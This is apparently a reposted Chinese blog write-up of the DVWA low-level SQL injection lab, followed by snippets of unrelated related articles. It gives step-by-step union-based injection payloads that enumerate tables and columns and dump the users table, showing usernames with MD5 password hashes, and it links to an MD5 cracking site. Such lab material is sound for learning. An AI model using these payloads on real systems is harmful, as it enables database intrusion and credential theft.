SQL注入一般過程

實驗:Vulnerability: SQL Injection(low)

SQL注入一般過程
1.判斷注入點
一般和數據庫進行交互的位置
2.判斷注入點類型
字符型判斷:
1'?? 報錯
1' and '1'='2? 錯誤結果
1' and '1'='1? 正確結果
數字型判斷:
1'?? 報錯
1 and 1=2? 錯誤結果
1 and 1=1? 正確結果
3.獲取數據回顯位置
3.1 判斷返回字段數
兩種方式判斷:1.order by 2. union select
1' order by 1# 正確顯示結果
1' order by 2# 正確顯示結果
1' order by 3# 報錯
判斷返回結果有兩列。
3.2 判斷回顯位置
1' union select 1#? 報錯
1' union select 1,2#? 正確顯示,并成功顯示回顯位置
4.查詢數據庫名
database() 獲取數據庫名,user()獲取用戶名
1' union select database(),user() #
5.獲取表名
數據庫:information_schema
數據表:information_schema.tables
字段:table_schema = 'dvwa'
通過上面的內容查詢表名,table_name
-1' union select 1,table_name from information_schema.tables
where table_schema=database()#
報錯:
Illegal mix of collations for operation 'UNION'? 編碼錯誤
三種方式解決:
1.變成16進制輸出
-1' union select 1,hex(table_name) from information_schema.tables
where table_schema=database()#
2.輸出指定字符集
-1' union select 1,table_name collate utf8_general_ci from information_schema.tables
where table_schema=database()#
3.直接修改數據庫字符集

查詢結果可能只顯示一條,因此使用group_concat()函數,將結果進行聚合
-1' union select 1,group_concat(table_name) collate utf8_general_ci from information_schema.tables
where table_schema=database()#
查詢結果為:guestbook,users
5.查詢字段名
數據庫:information_schema
表:information_schema.columns
條件字段:table_schema='dvwa',table_name='users'
查詢內容:column_name

-1' union select 1,group_concat(column_name) collate utf8_general_ci from information_schema.columns
where table_schema=database() and table_name='users'#
查詢結果: user_id,first_name,last_name,user,password,avatar,last_login,failed_login
6.查詢數據
查詢表:users
查詢字段:user,password
-1' union select 1,group_concat(user,'~',password) from users#
查詢結果:admin~5f4dcc3b5aa765d61d8327deb882cf99,gordonb~e99a18c428cb38d5f260853678922e03,1337~8d3533d75ae2c3966d7e0d4fcc69216b,pablo~0d107d09f5bbe40cade3de5c71e9e9b7,smithy~5f4dcc3b5aa765d61d8327deb882cf99
MD5在線解密:
https://www.cmd5.com/

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/213638.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/213638.shtml
英文地址,請注明出處:http://en.pswp.cn/news/213638.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【SpringBoot教程】SpringBoot 實現前后端分離的跨域訪問(CORS)

作者簡介:大家好,我是擼代碼的羊駝,前阿里巴巴架構師,現某互聯網公司CTO 聯系v:sulny_ann(17362204968),加我進群,大家一起學習,一起進步,一起對抗…

【畢業季|進擊的技術er】作為一名職場人,精心總結的嵌入式學習路線圖

活動地址:畢業季進擊的技術er 文章目錄 0、作者介紹1、前言2、嵌入式基礎必備知識2.1、學習內容2.2、學習建議2.3、學習資料 3、嵌入式入門篇——51單片機3.1、學習內容3.2、學習建議3.3、學習資料 4、STM32進階篇4.1、學習內容4.2、學習建議4.3、學習資料 5、小而美…

印刷包裝企業做什么認證才有優勢

最近幾年,外貿出口過程中,越來越多的印刷和包裝企業被客戶要求進行各類認證和審核,比如,產品印刷包裝/吊牌等。他們已經意識到,印刷包裝供應商對于整個供應鏈管理的重要性,尤其是那些明確標示了…

由pandas.loc引發的未知錯誤AttributeError: ‘str‘ object has no attribute ‘isna‘

由于data.loc[value]和 data[data.keyvalue] 這兩者之間有一定的差異,第一種方式返回的可能是series,第二種方式返回的是dataframe,所以在做復雜條件篩選的的時候,可能會爆str相關的錯誤。 例如: account_instal[(ac…

嵌入式開發按怎樣的路線學習較好?

嵌入式開發按怎樣的路線學習較好? 在開始前我有一些資料,是我根據自己從業十年經驗,熬夜搞了幾個通宵,精心整理了一份「嵌入式從專業入門到高級教程工具包」,點個關注,全部無償共享給大家!&…

mysql的行鎖具體是怎么工作的

mysql行級鎖是怎么工作的? 加鎖的對象是索引,加鎖的基本單位是 next-key lock。在能使用記錄鎖或者間隙鎖就能避免幻讀現象的場景下, next-key lock 就會退化成記錄鎖或間隙鎖。 鎖的范圍,總結一下就是,對于唯一索引&a…

張馳咨詢:掌握流程改進的關鍵,深入了解六西格瑪綠帶培訓

尊敬的讀者,當您尋求提升個人能力,加強企業流程管理時,六西格瑪綠帶培訓無疑是您的不二選擇。本文將帶您深入了解六西格瑪綠帶培訓的核心內容、必備工具和實際案例,以助您在職業生涯中一帆風順。 六西格瑪綠帶培訓主要針對中層管…

C++- 格式化輸出

1.常規–格式化輸出 %d //整型輸出 %ld //長整型輸出 %o //以八進制數形式輸出整數 %x //以十六進制數形式輸出整數,或輸出字符串的地址 %u //以十進制數輸出unsigned型數據(無符號數)注意&…

element 點擊button彈出圖片 運用自帶隱藏的圖片查看器el-image-viewer瀏覽圖片

最近在開發一個圖片預覽效果,由于位置有限,沒有原始的縮略圖。 看了下elementUI的文檔,基本都是需要有縮略圖的情況下,才能有放大的圖。 所以網上找了下有個不錯的方案,其實也是elementUI自帶的功能,只是AP…

論文查重怎么找到需要更改的【詳細說明】

大家好,今天來聊聊論文查重怎么找到需要更改的,希望能給大家提供一點參考。 以下是針對論文重復率高的情況,提供一些修改建議和技巧: 論文查重怎么找到需要更改的 論文查重是保證學術誠信和提高論文質量的重要環節小發貓偽原創。…

班級管理的重要性

班級管理,就像是一座橋,連接著學生和老師,它的重要性不言而喻。 營造良好的學習氛圍 班級管理不僅僅是維護秩序,更是營造一個積極向上的學習氛圍。一個好的班級管理,能讓學生更加專注于學習,提高學習效率。…

Linux上的MAC地址欺騙

Linux上的MAC地址欺騙 1、查看mac地址法1:ifconfig法2:ip link show 2、臨時性改變 MAC 地址法1:使用iproute2工具包法2:使用macchanger工具 3、永久性改變 MAC 地址3.1 在 Fedora、RHEL下實踐3.2 在 Debian、Ubuntu、Linux Mint下…

人工智能革命近在咫尺:利用數據實現社會影響、增強決策力和新機遇

人工智能(AI)是指由計算機系統或機器執行的智能行為,如學習、推理和解決問題。人工智能不再是科幻小說中的事物,而是已經成為我們日常生活中不可或缺的一部分。從語音助手到自動駕駛汽車,從人臉識別到機器翻譯&#xf…

數據結構之----原碼、反碼、補碼

數據結構之----原碼、反碼、補碼 什么是原碼? 原碼:我們將數字的二進制表示的最高位視為符號位,其中 0 表示正數,1 表示負數,其余位表示數字 的值。 什么是反碼? 反碼:正數的反碼與其原碼相…

網絡攻擊(二)--情報搜集階段

4.1. 概述 在情報收集階段,你需要采用各種可能的方法來收集將要攻擊的客戶組織的所有信息,包括使用社交網絡、Google Hacking技術、目標系統踩點等等。 而作為滲透測試者,你最為重要的一項技能就是對目標系統的探查能力,包括獲知…

文生圖:AE/VAE/VQVAE/VQGAN/DALLE模型

文生圖模型演進:AE、VAE、VQ-VAE、VQ-GAN、DALL-E 等 8 模型本文中我們回顧了 AE、VAE、VQ-VAE、VQ-VAE-2 以及 VQ-GAN、DALL-E、DALL-E mini 和 CLIP-VQ-GAN 等 8 中模型,以介紹文生圖模型的演進。https://mp.weixin.qq.com/s/iFrCEpAJ3WMhB-01lZ_qIA 1…

pta模擬題(7-38 完全二叉樹的層序遍歷)

一個二叉樹,如果每一個層的結點數都達到最大值,則這個二叉樹就是完美二叉樹。對于深度為 D 的,有 N 個結點的二叉樹,若其結點對應于相同深度完美二叉樹的層序遍歷的前 N 個結點,這樣的樹就是完全二叉樹。 給定一棵完全…

GaussDB數據庫語法及gsql入門

一、GaussDB數據庫語法入門 之前我們講了如何連接數據庫實例,那連接數據庫后如何使用數據庫呢?那么我們今天就帶大家了解一下GaussDB,以下簡稱GaussDB的基本語法。 關于如何連接數據庫,請戳這里。 學習本節課程之后&#xff0c…

【開題報告】基于SpringBoot的消防知識科普平臺的設計與實現

1.選題背景 消防知識科普平臺的設計與實現是為了提高公眾對于消防安全的認知和應對能力,促進社會消防文化的普及和發展。在中國,火災事故時有發生,造成了重大人員傷亡和財產損失。因此,建立一個基于Spring Boot的消防知識科普平臺…

docker---網絡

docker的網絡模式: 1、橋接模式:創建docker時不需要指定網絡類型,默認模式。 2、host模式: 容器將不會虛擬出自己的網卡,也沒有自己的ip地址,全部使用宿主機的ip和端口。 3、container模式:容器和容器之間…